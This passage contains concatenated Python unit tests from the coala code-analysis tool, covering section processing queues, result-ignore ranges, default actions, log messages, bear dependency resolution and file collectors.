        control_elem, index = self.control_queue.get()
        self.assertEqual(control_elem, CONTROL_ELEMENT.LOCAL_FINISHED)
        control_elem, index = self.control_queue.get()
        self.assertEqual(control_elem, CONTROL_ELEMENT.GLOBAL)
        real = self.global_result_dict[index]
        self.assertEqual(sorted(global_results_expected), sorted(real))

        control_elem, none = self.control_queue.get(timeout=0)
        self.assertEqual(control_elem, CONTROL_ELEMENT.GLOBAL_FINISHED)
        self.assertEqual(none, None)

        # The invalid bear gets a None in that dict for dependency resolution
        self.assertEqual(len(self.global_result_dict), 2)
        self.assertEqual(len(self.local_result_dict),
                         len(local_result_expected))
        self.assertRaises(queue.Empty, self.message_queue.get, timeout=0)
        self.assertRaises(queue.Empty, self.control_queue.get, timeout=0)






import multiprocessing
import os
import platform
import queue
import re
import subprocess
import sys
import unittest

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.output.printers.LogPrinter import LogPrinter
from coalib.processes.CONTROL_ELEMENT import CONTROL_ELEMENT
from coalib.processes.Processing import (
    ACTIONS, autoapply_actions, check_result_ignore, create_process_group,
    execute_section, filter_raising_callables, get_default_actions,
    get_file_dict, print_result, process_queues, simplify_section_result,
    yield_ignore_ranges)
from coalib.results.HiddenResult import HiddenResult
from coalib.results.Result import RESULT_SEVERITY, Result
from coalib.results.result_actions.ApplyPatchAction import ApplyPatchAction
from coalib.results.result_actions.PrintDebugMessageAction import (
    PrintDebugMessageAction)
from coalib.results.result_actions.ResultAction import ResultAction
from coalib.results.SourceRange import SourceRange
from coalib.settings.ConfigurationGathering import gather_configuration
from coalib.settings.Section import Section
from coalib.settings.Setting import Setting
from coalib.misc.Caching import FileCache


process_group_test_code = """
import time, subprocess, os, platform, sys;
p=subprocess.Popen([sys.executable,
                  "-c",
                  "import time; time.sleep(0.1)"]);
pgid = p.pid if platform.system() == "Windows" else os.getpgid(p.pid);
print(p.pid, pgid)
p.terminate()
"""


class DummyProcess(multiprocessing.Process):

    def __init__(self, control_queue, starts_dead=False):
        multiprocessing.Process.__init__(self)
        self.control_queue = control_queue
        self.starts_dead = starts_dead

    def is_alive(self):
        return not self.control_queue.empty() and not self.starts_dead


class ProcessingTestLogPrinter(LogPrinter):

    def __init__(self, log_queue):
        LogPrinter.__init__(self, self)
        self.log_queue = log_queue
        self.set_up = False

    def log_message(self, log_message, timestamp=None, **kwargs):
        self.log_queue.put(log_message)


class ProcessingTest(unittest.TestCase):

    def setUp(self):
        config_path = os.path.abspath(os.path.join(
            os.path.dirname(__file__),
            "section_executor_test_files",
            ".coafile"))
        self.testcode_c_path = os.path.join(os.path.dirname(config_path),
                                            "testcode.c")

        self.result_queue = queue.Queue()
        self.queue = queue.Queue()
        self.log_queue = queue.Queue()
        log_printer = LogPrinter(ConsolePrinter())
        self.log_printer = ProcessingTestLogPrinter(self.log_queue)

        (self.sections,
         self.local_bears,
         self.global_bears,
         targets) = gather_configuration(lambda *args: True,
                                         log_printer,
                                         arg_list=["--config",
                                                   re.escape(config_path)])
        self.assertEqual(len(self.local_bears["default"]), 1)
        self.assertEqual(len(self.global_bears["default"]), 1)
        self.assertEqual(targets, [])

    def test_run(self):
        self.sections['default'].append(Setting('jobs', "1"))
        cache = FileCache(self.log_printer, "coala_test", flush_cache=True)
        results = execute_section(self.sections["default"],
                                  self.global_bears["default"],
                                  self.local_bears["default"],
                                  lambda *args: self.result_queue.put(args[2]),
                                  cache,
                                  self.log_printer)
        self.assertTrue(results[0])

        local_results = self.result_queue.get(timeout=0)
        global_results = self.result_queue.get(timeout=0)
        self.assertTrue(self.result_queue.empty())

        self.assertEqual(len(local_results), 1)
        self.assertEqual(len(global_results), 1)
        # Result dict also returned
        # One file
        self.assertEqual(len(results[1]), 1)
        # One global bear
        self.assertEqual(len(results[2]), 1)

        local_result = local_results[0]
        global_result = global_results[0]

        self.assertRegex(repr(local_result),
                         "<Result object\\(id={}, origin='LocalTestBear', aff"
                         "ected_code=\\(\\), severity=NORMAL, confidence=100"
                         ", message='test msg'\\) at 0x[0-9a-fA-F]+>".format(
                             hex(local_result.id)))
        self.assertRegex(repr(global_result),
                         "<Result object\\(id={}, origin='GlobalTestBear', "
                         "affected_code=\\(.*start=.*file=.*section_executor_"
                         "test_files.*line=None.*end=.*\\), severity=NORMAL, "
                         "confidence=100, message='test message'\\) at "
                         "0x[0-9a-fA-F]+>".format(hex(global_result.id)))

    def test_empty_run(self):
        self.sections['default'].append(Setting('jobs', "bogus!"))
        results = execute_section(self.sections["default"],
                                  [],
                                  [],
                                  lambda *args: self.result_queue.put(args[2]),
                                  None,
                                  self.log_printer)
        # No results
        self.assertFalse(results[0])
        # One file
        self.assertEqual(len(results[1]), 1)
        # No global bear
        self.assertEqual(len(results[2]), 0)

    def test_process_queues(self):
        ctrlq = queue.Queue()

        # Append custom controlling sequences.

        # Simulated process 1
        ctrlq.put((CONTROL_ELEMENT.LOCAL, 1))
        ctrlq.put((CONTROL_ELEMENT.LOCAL_FINISHED, None))
        ctrlq.put((CONTROL_ELEMENT.GLOBAL, 1))

        # Simulated process 2
        ctrlq.put((CONTROL_ELEMENT.LOCAL, 2))

        # Simulated process 1
        ctrlq.put((CONTROL_ELEMENT.GLOBAL_FINISHED, None))

        # Simulated process 2
        ctrlq.put((CONTROL_ELEMENT.LOCAL_FINISHED, None))
        ctrlq.put((CONTROL_ELEMENT.GLOBAL, 1))
        ctrlq.put((CONTROL_ELEMENT.GLOBAL_FINISHED, None))

        first_local = Result.from_values("o", "The first result.", file="f")
        second_local = Result.from_values("ABear",
                                          "The second result.",
                                          file="f",
                                          line=1)
        third_local = Result.from_values("ABear",
                                         "The second result.",
                                         file="f",
                                         line=4)
        fourth_local = Result.from_values("ABear",
                                          "Another result.",
                                          file="f",
                                          line=7)
        first_global = Result("o", "The one and only global result.")
        section = Section("")
        section.append(Setting('min_severity', "normal"))
        process_queues(
            [DummyProcess(control_queue=ctrlq) for i in range(3)],
            ctrlq,
            {1: [first_local,
                 second_local,
                 third_local,
                 # The following are to be ignored
                 Result('o', 'm', severity=RESULT_SEVERITY.INFO),
                 Result.from_values("ABear", "u", "f", 2, 1),
                 Result.from_values("ABear", "u", "f", 3, 1)],
             2: [fourth_local,
                 # The following are to be ignored
                 HiddenResult("t", "c"),
                 Result.from_values("ABear", "u", "f", 5, 1),
                 Result.from_values("ABear", "u", "f", 6, 1)]},
            {1: [first_global]},
            {"f": ["first line  # stop ignoring, invalid ignore range\n",
                   "second line  # ignore all\n",
                   "third line\n",
                   "fourth line  # gnore shouldn't trigger without i!\n",
                   "# Start ignoring ABear, BBear and CBear\n",
                   "# Stop ignoring\n",
                   "seventh"]},
            lambda *args: self.queue.put(args[2]),
            section,
            None,
            self.log_printer)

        self.assertEqual(self.queue.get(timeout=0), ([first_local,
                                                      second_local,
                                                      third_local]))
        self.assertEqual(self.queue.get(timeout=0), ([fourth_local]))
        self.assertEqual(self.queue.get(timeout=0), ([first_global]))
        self.assertEqual(self.queue.get(timeout=0), ([first_global]))

    def test_dead_processes(self):
        ctrlq = queue.Queue()
        # Not enough FINISH elements in the queue, processes start already dead
        # Also queue elements are reversed
        ctrlq.put((CONTROL_ELEMENT.GLOBAL_FINISHED, None))
        ctrlq.put((CONTROL_ELEMENT.LOCAL_FINISHED, None))

        process_queues(
            [DummyProcess(ctrlq, starts_dead=True) for i in range(3)],
            ctrlq, {}, {}, {},
            lambda *args: self.queue.put(args[2]),
            Section(""),
            None,
            self.log_printer)
        with self.assertRaises(queue.Empty):
            self.queue.get(timeout=0)

        # Not enough FINISH elements in the queue, processes start already dead
        ctrlq.put((CONTROL_ELEMENT.LOCAL_FINISHED, None))
        ctrlq.put((CONTROL_ELEMENT.GLOBAL_FINISHED, None))

        process_queues(
            [DummyProcess(ctrlq, starts_dead=True) for i in range(3)],
            ctrlq, {}, {}, {},
            lambda *args: self.queue.put(args[2]),
            Section(""),
            None,
            self.log_printer)
        with self.assertRaises(queue.Empty):
            self.queue.get(timeout=0)

    def test_create_process_group(self):
        p = create_process_group([sys.executable,
                                  "-c",
                                  process_group_test_code],
                                 stdout=subprocess.PIPE,
                                 stderr=subprocess.PIPE)
        retval = p.wait()
        if retval != 0:
            for line in p.stderr:
                print(line, end='')
            raise Exception("Subprocess did not exit correctly")
        output = [i for i in p.stdout]
        p.stderr.close()
        p.stdout.close()
        pid, pgid = [int(i.strip()) for i_out in output for i in i_out.split()]
        if platform.system() != "Windows":
            # There is no way of testing this on windows with the current
            # python modules subprocess and os
            self.assertEqual(p.pid, pgid)

    def test_filter_raising_callables(self):
        class A(Exception):
            pass

        class B(Exception):
            pass

        class C(Exception):
            pass

        def create_exception_raiser(exception):
            def raiser(exc):
                if exception in exc:
                    raise exception
                return exception
            return raiser

        raiseA, raiseB, raiseC = (create_exception_raiser(exc)
                                  for exc in [A, B, C])

        test_list = [raiseA, raiseC, raiseB, raiseC]
        self.assertEqual(list(filter_raising_callables(test_list, A, (A,))),
                         [C, B, C])

        self.assertEqual(list(filter_raising_callables(test_list,
                                                       (B, C),
                                                       exc=(B, C))),
                         [A])

        # Test whether non filtered exceptions bubble up.
        with self.assertRaises(B):
            list(filter_raising_callables(test_list, C, exc=(B, C)))

    def test_get_file_dict(self):
        file_dict = get_file_dict([self.testcode_c_path], self.log_printer)
        self.assertEqual(len(file_dict), 1)
        self.assertEqual(type(file_dict[self.testcode_c_path]),
                         tuple,
                         msg="files in file_dict should not be editable")
        self.assertEqual("Files that will be checked:\n" + self.testcode_c_path,
                         self.log_printer.log_queue.get().message)

    def test_get_file_dict_non_existent_file(self):
        file_dict = get_file_dict(["non_existent_file"], self.log_printer)
        self.assertEqual(file_dict, {})
        self.assertIn(("Failed to read file 'non_existent_file' because of "
                       "an unknown error."),
                      self.log_printer.log_queue.get().message)

    def test_simplify_section_result(self):
        results = (True,
                   {"file1": [Result("a", "b")], "file2": None},
                   {"file3": [Result("a", "c")]},
                   None)
        yielded, yielded_unfixed, all_results = simplify_section_result(results)
        self.assertEqual(yielded, True)
        self.assertEqual(yielded_unfixed, True)
        self.assertEqual(len(all_results), 2)

    def test_ignore_results(self):
        ranges = [([], SourceRange.from_values("f", 1, 1, 2, 2))]
        result = Result.from_values("origin",
                                    "message",
                                    file="e",
                                    line=1,
                                    column=1,
                                    end_line=2,
                                    end_column=2)

        self.assertFalse(check_result_ignore(result, ranges))

        ranges.append(([], SourceRange.from_values("e", 2, 3, 3, 3)))
        self.assertFalse(check_result_ignore(result, ranges))

        ranges.append(([], SourceRange.from_values("e", 1, 1, 2, 2)))
        self.assertTrue(check_result_ignore(result, ranges))

        result1 = Result.from_values("origin", "message", file="e")
        self.assertFalse(check_result_ignore(result1, ranges))

        ranges = [(['something', 'else', 'not origin'],
                   SourceRange.from_values("e", 1, 1, 2, 2))]
        self.assertFalse(check_result_ignore(result, ranges))

        ranges = [(['something', 'else', 'origin'],
                   SourceRange.from_values("e", 1, 1, 2, 2))]
        self.assertTrue(check_result_ignore(result, ranges))

    def test_ignore_glob(self):
        result = Result.from_values("LineLengthBear",
                                    "message",
                                    file="d",
                                    line=1,
                                    column=1,
                                    end_line=2,
                                    end_column=2)
        ranges = [(["(line*|space*)", "py*"],
                   SourceRange.from_values("d", 1, 1, 2, 2))]
        self.assertTrue(check_result_ignore(result, ranges))

        result = Result.from_values("SpaceConsistencyBear",
                                    "message",
                                    file="d",
                                    line=1,
                                    column=1,
                                    end_line=2,
                                    end_column=2)
        ranges = [(["(line*|space*)", "py*"],
                   SourceRange.from_values("d", 1, 1, 2, 2))]
        self.assertTrue(check_result_ignore(result, ranges))

        result = Result.from_values("XMLBear",
                                    "message",
                                    file="d",
                                    line=1,
                                    column=1,
                                    end_line=2,
                                    end_column=2)
        ranges = [(["(line*|space*)", "py*"],
                   SourceRange.from_values("d", 1, 1, 2, 2))]
        self.assertFalse(check_result_ignore(result, ranges))

    def test_yield_ignore_ranges(self):
        test_file_dict_a = {'f':
                            ('# Ignore aBear\n',
                             'a_string = "This string should be ignored"\n')}
        test_ignore_range_a = list(yield_ignore_ranges(test_file_dict_a))
        for test_bears, test_source_range in test_ignore_range_a:
            self.assertEqual(test_bears, ['abear'])
            self.assertEqual(test_source_range.start.line, 1)
            self.assertEqual(test_source_range.start.column, 1)
            self.assertEqual(test_source_range.end.line, 2)
            self.assertEqual(test_source_range.end.column, 43)

        test_file_dict_b = {'f':
                            ('# start Ignoring bBear\n',
                             'b_string = "This string should be ignored"\n',
                             '# stop ignoring\n')}
        test_ignore_range_b = list(yield_ignore_ranges(test_file_dict_b))
        for test_bears, test_source_range in test_ignore_range_b:
            self.assertEqual(test_bears, ['bbear'])
            self.assertEqual(test_source_range.start.line, 1)
            self.assertEqual(test_source_range.start.column, 1)
            self.assertEqual(test_source_range.end.line, 3)
            self.assertEqual(test_source_range.end.column, 16)

        test_file_dict_c = {'f':
                            ('# Start ignoring cBear\n',
                             '# Stop ignoring cBear This & prev ignored\n')}
        test_ignore_range_c = list(yield_ignore_ranges(test_file_dict_c))
        for test_bears, test_source_range in test_ignore_range_c:
            self.assertEqual(test_bears, ['cbear'])
            self.assertEqual(test_source_range.start.line, 1)
            self.assertEqual(test_source_range.start.column, 1)
            self.assertEqual(test_source_range.end.line, 2)
            self.assertEqual(test_source_range.end.column, 42)

        test_file_dict_d = {'f':
                            ('# Start ignoring cBear\n',
                             'All of this ignored\n')}
        test_ignore_range_d = list(yield_ignore_ranges(test_file_dict_d))
        for test_bears, test_source_range in test_ignore_range_d:
            self.assertEqual(test_bears, ['cbear'])
            self.assertEqual(test_source_range.start.line, 1)
            self.assertEqual(test_source_range.start.column, 1)
            self.assertEqual(test_source_range.end.line, 2)
            self.assertEqual(test_source_range.end.column, 20)

        # This case was a bug.
        test_file_dict_single_line = {'f': ('# ignore XBEAR',)}
        test_ignore_range_single_line = list(yield_ignore_ranges(
            test_file_dict_single_line))

        self.assertEqual(len(test_ignore_range_single_line), 1)
        bears, source_range = test_ignore_range_single_line[0]
        self.assertEqual(bears, ['xbear'])
        self.assertEqual(source_range.start.line, 1)
        self.assertEqual(source_range.start.column, 1)
        self.assertEqual(source_range.end.line, 1)
        self.assertEqual(source_range.end.column, 14)


class ProcessingTest_GetDefaultActions(unittest.TestCase):

    def setUp(self):
        self.section = Section("X")

    def test_no_key(self):
        self.assertEqual(get_default_actions(self.section), ({}, {}))

    def test_no_value(self):
        self.section.append(Setting("default_actions", ""))
        self.assertEqual(get_default_actions(self.section), ({}, {}))

    def test_only_valid_actions(self):
        self.section.append(Setting(
            "default_actions",
            "MyBear: PrintDebugMessageAction, ValidBear: ApplyPatchAction"))
        self.assertEqual(
            get_default_actions(self.section),
            ({"MyBear": PrintDebugMessageAction,
              "ValidBear": ApplyPatchAction},
             {}))

    def test_valid_and_invalid_actions(self):
        self.section.append(Setting(
            "default_actions",
            "MyBear: INVALID_action, ValidBear: ApplyPatchAction, XBear: ABC"))
        self.assertEqual(get_default_actions(self.section),
                         ({"ValidBear": ApplyPatchAction},
                          {"MyBear": "INVALID_action", "XBear": "ABC"}))


class ProcessingTest_AutoapplyActions(unittest.TestCase):

    def setUp(self):
        self.log_queue = queue.Queue()
        self.log_printer = ProcessingTestLogPrinter(self.log_queue)

        self.resultY = Result("YBear", "msg1")
        self.resultZ = Result("ZBear", "msg2")
        self.results = [self.resultY, self.resultZ]
        self.section = Section("A")

    def test_no_default_actions(self):
        ret = autoapply_actions(self.results,
                                {},
                                {},
                                self.section,
                                self.log_printer)
        self.assertEqual(ret, self.results)
        self.assertTrue(self.log_queue.empty())

    def test_with_invalid_action(self):
        self.section.append(Setting("default_actions",
                                    "XBear: nonSENSE_action"))
        ret = autoapply_actions(self.results,
                                {},
                                {},
                                self.section,
                                self.log_printer)
        self.assertEqual(ret, self.results)
        self.assertEqual(self.log_queue.get().message,
                         "Selected default action 'nonSENSE_action' for bear "
                         "'XBear' does not exist. Ignoring action.")
        self.assertTrue(self.log_queue.empty())

    def test_without_default_action_and_unapplicable(self):
        # Use a result where no default action is supplied for and another one
        # where the action is not applicable.
        old_is_applicable = ApplyPatchAction.is_applicable
        ApplyPatchAction.is_applicable = lambda *args: False

        self.section.append(Setting(
            "default_actions",
            "NoBear: ApplyPatchAction, YBear: ApplyPatchAction"))
        ret = autoapply_actions(self.results,
                                {},
                                {},
                                self.section,
                                self.log_printer)
        self.assertEqual(ret, self.results)
        self.assertEqual(self.log_queue.get().message,
                         "Selected default action 'ApplyPatchAction' for bear "
                         "'YBear' is not applicable. Action not applied.")
        self.assertTrue(self.log_queue.empty())

        ApplyPatchAction.is_applicable = old_is_applicable

    def test_applicable_action(self):
        # Use a result whose action can be successfully applied.
        log_printer = self.log_printer

        class TestAction(ResultAction):

            def apply(self, *args, **kwargs):
                log_printer.debug("ACTION APPLIED SUCCESSFULLY.")

        ACTIONS.append(TestAction)

        self.section.append(Setting("default_actions", "Z*: TestAction"))
        ret = autoapply_actions(self.results,
                                {},
                                {},
                                self.section,
                                log_printer)
        self.assertEqual(ret, [self.resultY])
        self.assertEqual(self.log_queue.get().message,
                         "ACTION APPLIED SUCCESSFULLY.")
        self.assertEqual(self.log_queue.get().message,
                         "Applied 'TestAction' "
                         "on the whole project from 'ZBear'.")
        self.assertTrue(self.log_queue.empty())

        ACTIONS.pop()

    def test_failing_action(self):
        class FailingTestAction(ResultAction):

            def apply(self, *args, **kwargs):
                raise RuntimeError("YEAH THAT'S A FAILING BEAR")

        ACTIONS.append(FailingTestAction)

        self.section.append(Setting("default_actions",
                                    "YBear: FailingTestAction"))
        ret = autoapply_actions(self.results,
                                {},
                                {},
                                self.section,
                                self.log_printer)
        self.assertEqual(ret, self.results)
        self.assertEqual(self.log_queue.get().message,
                         "Failed to execute action 'FailingTestAction'"
                         " with error: YEAH THAT'S A FAILING BEAR.")
        self.assertIn("YEAH THAT'S A FAILING BEAR",
                      self.log_queue.get().message)
        self.assertEqual(self.log_queue.get().message,
                         "-> for result " + repr(self.resultY) + ".")
        self.assertTrue(self.log_queue.empty())

        ACTIONS.pop()


class ProcessingTest_PrintResult(unittest.TestCase):

    def setUp(self):
        self.section = Section('name')
        self.log_printer = LogPrinter(ConsolePrinter(), log_level=0)

    def test_autoapply_override(self):
        """
        Tests that the default_actions aren't automatically applied when the
        autoapply setting overrides that.
        """
        self.section.append(Setting('default_actions',
                                    'somebear: PrintDebugMessageAction'))

        # Verify that it would apply the action, i.e. remove the result
        results = [5, HiddenResult('origin', []),
                   Result('somebear', 'message', debug_msg='debug')]
        retval, newres = print_result(results, {}, 0, lambda *args: None,
                                      self.section, self.log_printer, {}, [])
        self.assertEqual(newres, [])

        # Override and verify that result is unprocessed, i.e. not gone
        self.section.append(Setting('autoapply', 'false'))
        retval, newres = print_result(results, {}, 0, lambda *args: None,
                                      self.section, self.log_printer, {}, [])
        self.assertNotEqual(newres, [])












import queue
import unittest

from coalib.misc.ContextManagers import retrieve_stdout
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.processes.LogPrinterThread import LogPrinterThread


class TestPrinter(LogPrinter):

    def __init__(self):
        LogPrinter.__init__(self, self)

    def log_message(self, log_message, timestamp=None, **kwargs):
        print(log_message)


class LogPrinterThreadTest(unittest.TestCase):

    def test_run(self):
        log_printer = TestPrinter()
        log_queue = queue.Queue()
        self.uut = LogPrinterThread(log_queue, log_printer)
        log_queue.put(item="Sample message 1")
        log_queue.put(item="Sample message 2")
        log_queue.put(item="Sample message 3")
        self.assertEqual(self.uut.message_queue.qsize(), 3)
        with retrieve_stdout() as stdout:
            self.uut.start()
            while self.uut.message_queue.qsize() > 0:
                continue
            self.uut.running = False
            self.uut.join()
            self.assertEqual(stdout.getvalue(),
                             "Sample message 1\nSample message 2\nSample "
                             "message 3\n")






import unittest
from datetime import datetime

from coalib.misc import Constants
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.processes.communication.LogMessage import LogMessage


class LogMessageTest(unittest.TestCase):
    timestamp = datetime.today()

    def setUp(self):
        self.uut = LogMessage(LOG_LEVEL.DEBUG,
                              "test",
                              "message",
                              timestamp=self.timestamp)

    def test_construction(self):
        # take a look if defaults are good
        self.assertEqual(self.uut.log_level, LOG_LEVEL.DEBUG)
        self.assertEqual(self.uut.message, "test message")
        self.assertEqual(self.uut.timestamp, self.timestamp)

        # see that arguments are processed right
        self.uut = LogMessage(LOG_LEVEL.WARNING,
                              "   a msg  ",
                              5,
                              "  ",
                              timestamp=self.timestamp)
        self.assertEqual(self.uut.log_level, LOG_LEVEL.WARNING)
        self.assertEqual(self.uut.message, "   a msg   5")
        self.assertEqual(self.uut.timestamp, self.timestamp)

        self.assertRaises(ValueError, LogMessage, LOG_LEVEL.DEBUG, "")
        self.assertRaises(ValueError, LogMessage, 5, "test")

    def test_to_str(self):
        self.uut.message = Constants.COMPLEX_TEST_STRING
        self.uut.log_level = LOG_LEVEL.ERROR
        self.assertEqual(str(self.uut),
                         "[{}] {}".format("ERROR",
                                          Constants.COMPLEX_TEST_STRING))
        self.uut.log_level = LOG_LEVEL.WARNING
        self.assertEqual(str(self.uut),
                         "[{}] {}".format("WARNING",
                                          Constants.COMPLEX_TEST_STRING))
        self.uut.log_level = LOG_LEVEL.DEBUG
        self.assertEqual(str(self.uut),
                         "[{}] {}".format("DEBUG",
                                          Constants.COMPLEX_TEST_STRING))
        self.uut.log_level = 5
        self.assertEqual(str(self.uut),
                         "[{}] {}".format("ERROR",
                                          Constants.COMPLEX_TEST_STRING))

    def test_equals(self):
        self.assertEqual(LogMessage(LOG_LEVEL.DEBUG, "test message"),
                         LogMessage(LOG_LEVEL.DEBUG, "test message"))
        self.assertNotEqual(LogMessage(LOG_LEVEL.DEBUG, "test message"),
                            LogMessage(LOG_LEVEL.WARNING, "test message"))
        self.assertNotEqual(LogMessage(LOG_LEVEL.DEBUG, "test message"),
                            LogMessage(LOG_LEVEL.DEBUG, "test"))
        self.assertNotEqual(LogMessage(LOG_LEVEL.DEBUG, "test message"), 5)

    def test_string_dict(self):
        self.uut.log_level = LOG_LEVEL.DEBUG
        self.uut.message = "test"
        self.assertEqual(
            self.uut.to_string_dict(),
            {"log_level": "DEBUG",
             "message": "test",
             "timestamp": self.timestamp.isoformat()})

        self.uut.timestamp = None
        self.uut.log_level = -9999  # invalid level
        self.assertEqual(
            self.uut.to_string_dict(),
            {"log_level": "", "message": "test", "timestamp": ""})












from coalib.bears.GlobalBear import GlobalBear
from coalib.results.Result import Result


class ProcessingGlobalTestBear(GlobalBear):  # pragma: no cover

    def run(self):
        for filename in self.file_dict:
            return [Result.from_values("GlobalTestBear",
                                       "test message",
                                       filename)]






import time

from coalib.bears.LocalBear import LocalBear
from coalib.results.Result import Result


class ProcessingLocalTestBear(LocalBear):  # pragma: no cover

    def run(self, filename, file):
        # we need to test that the SectionExecutor holds back the global
        # results until processing of all local ones is finished
        time.sleep(0.05)
        return [Result("LocalTestBear", "test msg")]






import unittest

from coalib.bears.Bear import Bear
from coalib.collecting import Dependencies


class ResolvableBear1(Bear):

    BEAR_DEPS = {Bear}


class ResolvableBear2(Bear):

    BEAR_DEPS = {ResolvableBear1, Bear}


class UnresolvableBear1(Bear):

    BEAR_DEPS = {ResolvableBear1, Bear}


class UnresolvableBear2(Bear):

    BEAR_DEPS = {ResolvableBear1, Bear, UnresolvableBear1}


class UnresolvableBear3(Bear):

    BEAR_DEPS = {ResolvableBear1, Bear, UnresolvableBear2}


class DependenciesTest(unittest.TestCase):

    def setUp(self):
        # We can set this attribute properly only after UnresolvableBear3 is
        # declared.
        setattr(UnresolvableBear1, 'BEAR_DEPS', {ResolvableBear1,
                                                 Bear,
                                                 UnresolvableBear3})

    def test_no_deps(self):
        self.assertEqual(
            len(Dependencies.resolve([Bear,
                                      Bear])),
            1)

    def test_resolvable_deps(self):
        self.assertEqual(Dependencies.resolve([ResolvableBear1,
                                               ResolvableBear2]),
                         [Bear, ResolvableBear1, ResolvableBear2])

    def test_unresolvable_deps(self):
        self.assertRaises(
            Dependencies.CircularDependencyError,
            Dependencies.resolve,
            [UnresolvableBear1])






import os
import unittest
from collections import OrderedDict

from coalib.collecting.Importers import import_objects


class ImportObjectsTest(unittest.TestCase):

    def setUp(self):
        current_dir = os.path.split(__file__)[0]
        self.testfile1_path = os.path.join(current_dir,
                                           "importers_test_dir",
                                           "file_one.py")
        self.testfile2_path = os.path.join(current_dir,
                                           "importers_test_dir",
                                           "file_two.py")

    def test_no_file(self):
        self.assertEqual(import_objects([]), [])

    def test_no_data(self):
        self.assertEqual(import_objects(self.testfile1_path), [])

    def test_name_import(self):
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               names="name")),
            2)
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               names="last_name")),
            0)

    def test_type_import(self):
        self.assertEqual(
            len(import_objects(self.testfile1_path,
                               types=list,
                               verbose=True)),
            2)
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               names="name",
                               types=OrderedDict,
                               verbose=True)),
            0)

    def test_class_import(self):
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               supers=list,
                               verbose=True)),
            1)
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               supers=str,
                               verbose=True)),
            0)

    def test_attribute_import(self):
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               attributes="method",
                               local=True,
                               verbose=True)),
            1)
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               attributes="something",
                               verbose=True)),
            0)

    def test_local_definition(self):
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               attributes="method",
                               verbose=True)),
            2)
        self.assertEqual(
            len(import_objects((self.testfile1_path, self.testfile2_path),
                               attributes="method",
                               local=True,
                               verbose=True)),
            1)

    def test_invalid_file(self):
        with self.assertRaises(ImportError):
            import_objects("some/invalid/path",
                           attributes="method",
                           local=True,
                           verbose=True)

        with self.assertRaises(ImportError):
            import_objects("some/invalid/path",
                           attributes="method",
                           local=True,
                           verbose=False)












import os
import pkg_resources
import unittest

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.collecting.Collectors import (
    collect_all_bears_from_sections, collect_bears, collect_dirs, collect_files,
    collect_registered_bears_dirs, filter_section_bears_by_languages,
    get_all_bears_names)
from coalib.misc.ContextManagers import retrieve_stdout
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.settings.Section import Section
from tests.TestUtilities import bear_test_module


class CollectFilesTest(unittest.TestCase):

    def setUp(self):
        current_dir = os.path.split(__file__)[0]
        self.collectors_test_dir = os.path.join(current_dir,
                                                "collectors_test_dir")
        self.log_printer = LogPrinter(ConsolePrinter())

    def test_file_empty(self):
        self.assertRaises(TypeError, collect_files)

    def test_file_invalid(self):
        with retrieve_stdout() as sio:
            self.assertEqual(collect_files(["invalid_path"],
                                           self.log_printer), [])
            self.assertRegex(sio.getvalue(),
                             ".*\\[WARNING\\].*No files matching "
                             "'invalid_path' were found.\n")

    def test_file_collection(self):
        self.assertEqual(collect_files([os.path.join(self.collectors_test_dir,
                                                     "others",
                                                     "*",
                                                     "*2.py")],
                                       self.log_printer),
                         [os.path.normcase(os.path.join(
                             self.collectors_test_dir,
                             "others",
                             "py_files",
                             "file2.py"))])

    def test_file_string_collection(self):
        self.assertEqual(collect_files(os.path.join(self.collectors_test_dir,
                                                    "others",
                                                    "*",
                                                    "*2.py"),
                                       self.log_printer),
                         [os.path.normcase(os.path.join(
                             self.collectors_test_dir,
                             "others",
                             "py_files",
                             "file2.py"))])

    def test_ignored(self):
        self.assertEqual(collect_files([os.path.join(self.collectors_test_dir,
                                                     "others",
                                                     "*",
                                                     "*2.py"),
                                        os.path.join(self.collectors_test_dir,
                                                     "others",
                                                     "*",
                                                     "*2.py")],
                                       self.log_printer,
                                       ignored_file_paths=[os.path.join(
                                           self.collectors_test_dir,
                                           "others",
                                           "py_files",
                                           "file2.py")]),
                         [])

    def test_limited(self):
        self.assertEqual(
            collect_files([os.path.join(self.collectors_test_dir,
                                        "others",
                                        "*",
                                        "*py")],
                          self.log_printer,
                          limit_file_paths=[os.path.join(
                                                self.collectors_test_dir,
                                                "others",
                                                "*",
                                                "*2.py")]),
            [os.path.normcase(os.path.join(self.collectors_test_dir,
                                           "others",
                                           "py_files",
                                           "file2.py"))])


class CollectDirsTest(unittest.TestCase):

    def setUp(self):
        current_dir = os.path.split(__file__)[0]
        self.collectors_test_dir = os.path.join(current_dir,
                                                "collectors_test_dir")

    def test_dir_empty(self):
        self.assertRaises(TypeError, collect_dirs)

    def test_dir_invalid(self):
        self.assertEqual(collect_dirs(["invalid_path"]), [])

    def test_dir_collection(self):
        self.assertEqual(
            sorted(i for i in
                   collect_dirs([os.path.join(self.collectors_test_dir,
                                              "**")])
                   if "__pycache__" not in i),
            sorted([os.path.normcase(os.path.join(
                self.collectors_test_dir, "bears")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "bears_local_global")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "others")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "others",
                                              "c_files")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "others",
                                              "py_files")),
                os.path.normcase(self.collectors_test_dir+os.sep)]))

    def test_dir_string_collection(self):
        self.assertEqual(
            sorted(i for i in
                   collect_dirs(os.path.join(self.collectors_test_dir,
                                             "**"))
                   if "__pycache__" not in i),
            sorted([os.path.normcase(os.path.join(
                self.collectors_test_dir, "bears")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "bears_local_global")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "others")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
